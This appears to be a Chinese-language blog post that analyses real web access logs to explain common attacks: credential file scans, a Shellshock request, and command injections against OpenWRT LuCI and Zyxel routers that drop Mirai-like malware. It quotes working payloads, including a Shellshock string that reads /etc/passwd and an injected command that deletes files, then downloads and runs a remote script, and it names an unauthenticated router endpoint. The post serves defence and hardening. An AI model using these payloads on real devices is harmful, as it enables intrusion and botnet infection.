訪問日志分析實例:從中學習網絡攻擊的手段

2024年2月6日 17点热度 0人点赞

互聯網滿是流矢暗箭。一旦一個公有IP暴露到公網馬上就會大量的惡意地址掃描、嘗試、攻擊和滲透。所以暴露再公網之前確保你主機上任何危險的端口(22,873,1433,1521,1521,2375,3306,3389,5423,6379,27017,271018)。當然除了安全加固和防護之外,需要學習一些攻擊的套路對我們做好安全也是很有必要的。所以本文蟲蟲給大傢介紹一下如何通過訪問日志來學習網絡攻擊的套路(所有的日志均來自線上Web服務器的訪問日志)。

憑證和配置發現

針對公網網站最常見的攻擊(掃描)是搜索憑證的目錄遍歷攻擊。其中最主要的似乎是尋找.env,可以由該文件直接發現一些配置機密信息,比如憑據和密碼、後端數據庫IP、目錄等。

攻擊者還會掃描其他可能的包含密碼等的文件,比如AWS憑證和配置文件(aws.yml),以及.git/config倉庫配置信息。

以及其他可能的公共目錄掃描。

經驗教訓:屏蔽一下對外公開的文件和目錄,最低限度的顯示對外透露的信息,包括代碼註釋,js配置信息可以考慮進行代碼混淆和加密。對必須公開工具或目錄,可以考慮添加一些身份驗證,並限制對特定IP地址的訪問。

shellshock攻擊

利用Shellshock漏洞的攻擊也常見,比如一下日志:

該漏洞利用使用有漏洞版本的bash執行CGI腳本的Web服務器(雖然CGI的Web現在已經絕跡了),該漏洞可以進行遠程代碼執行,攻擊者可以用它執行任意命令。當CGI程序啟動時,它會根據請求的內容設置環境變量,值得註意的是 HTTP_USER_AGENT內容中包含“() { :; }; ”內容時,bash會將其解釋為需要執行的函數。

分析上述日志,在這次特定的攻擊中,攻擊者通過發出GET訪問,其USER_AGENT字段包含:

() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd

其中 () { ignored; };部分定義了Bash函數。大括號內的內容是函數體。被忽略的命令是一個占位符;它不會影響執行,為了防止語法錯誤導致執行的中斷。

echo Content-Type: text/html; echo ;:這些命令是函數體的一部分。他們將HTTP響應的Content-Type標頭設置為“text/html”並回顯空行。

/bin/cat /etc/passwd:這是函數中嵌入的惡意命令。它嘗試使用cat命令顯示內容/etc/passwd文件,其中包含用戶帳戶信息。

如果攻擊成功,理論上攻擊者將獲得對/etc/passwd的信息,並擁有在服務器上執行任意代碼的機制。

與目錄遍歷攻擊一樣,攻擊者猜測常見目錄和路徑:

註入攻擊

LuCI註入

也有一些攻擊時針對特定的目標,比如下面的日志顯示攻擊目標為OpenWRT路由器的LuCI Web。該攻擊嘗試將命令註入表單的國傢/地區字段,該表單下載並執行托管遠程服務器的 hell腳本。

惡意代碼位於經過URL編碼的URL中。對URL進行解碼結果:

/cgi-bin/luci/;stok=/locale:LuC界面中CGI腳本的路徑。LuCI是一個基於 Web的界面,適用於OpenWRT路由器和類似的嵌入式設備。

?form=country&operation=write&country=:這些是傳遞給CGI腳本的參數。

$(cd /tmp; rm -rf *; wget xxx.xxx.xxx/tenda.sh; chmod 777 tenda.sh;./tenda.sh):這是一個用執行的bash替換命令,並將輸出替換到 URL 中。該命令正在嘗試cd進入/tmp文件夾,刪除所有文件,從遠程服務器下載shell腳本並執行。

下載該腳本進行進一步調查,目標文件是一個惡意的二進制文件(並非shell腳本)。

這些二進制文件似乎以目標設備的體系結構命名,這是有道理的,因為攻擊者可能不知道設備正在運行什麼體系結構。作為額外的預防措施,繼續下載與環境不兼容的二進制文件,並用Ghidra進行進一步調查。發現查看二進制文件隻有3 個函數,沒有大量字符串數據。然而,有一大段數據是這樣的。

明顯,這是是一個嵌入的ELF二進制文件,采用UPX 打包。 一些快速研究表明,惡意軟件作者經常濫用它來混淆和壓縮其二進制文件。嘗試使用UPX來解壓二進制文件一下:

upx -d mips

居然成功了。查看更多信息:

帶有ST標頭的M-SEARCH為一個UPnP命令,該命令用於查找支持DIAL協議的設備。根據隨附的XML有效負載,該惡意軟件似乎被編程為掃描網絡上存命令註入攻擊的漏洞的華為設備。據此判斷該文件為Mirai僵屍蠕蟲的某個變種。

Zyxel Injection

另外一個相類似的日志:

該GET請求URL中有一個shell命令:

似乎是在利用Zyxel設備中的漏洞。前面漏洞探索一樣,下載該二進制文件並用Ghidra分析,可以直接查看相關信息(沒加殼):

似乎以路由器為目標,要利用此漏洞,攻擊者可以通過POST請求發送到“/goform/set_LimitClient_cfg”URL:

...

確保“Cookie”標頭設置為“user=admin”,因為程序沒有對身份驗證或授權進行特殊檢查。這意味著無需事先進行身份驗證即可利用該漏洞。

據此判斷,這也可能是 Mirai僵屍蠕蟲之一,可能主要針對是路由器。這和現在流行的物聯網僵屍網絡的趨勢很吻合,以物聯網設備的攻擊,使其淪為肉雞。

總結

根據Web訪問日志來分析網絡攻擊的方式,可以給我們一些有用的信息,用來加固自己安全訪問策略。

當然可以實時分析日志,對其進行分析統計關聯iptables或者ipban訪問對惡意攻擊者進行封禁,這就是屬於Web防火墻的范疇了,筆者曾經寫過一個應用app-waf(可以搜索github或者gitee)可通過對web日志進行實時分析和封禁。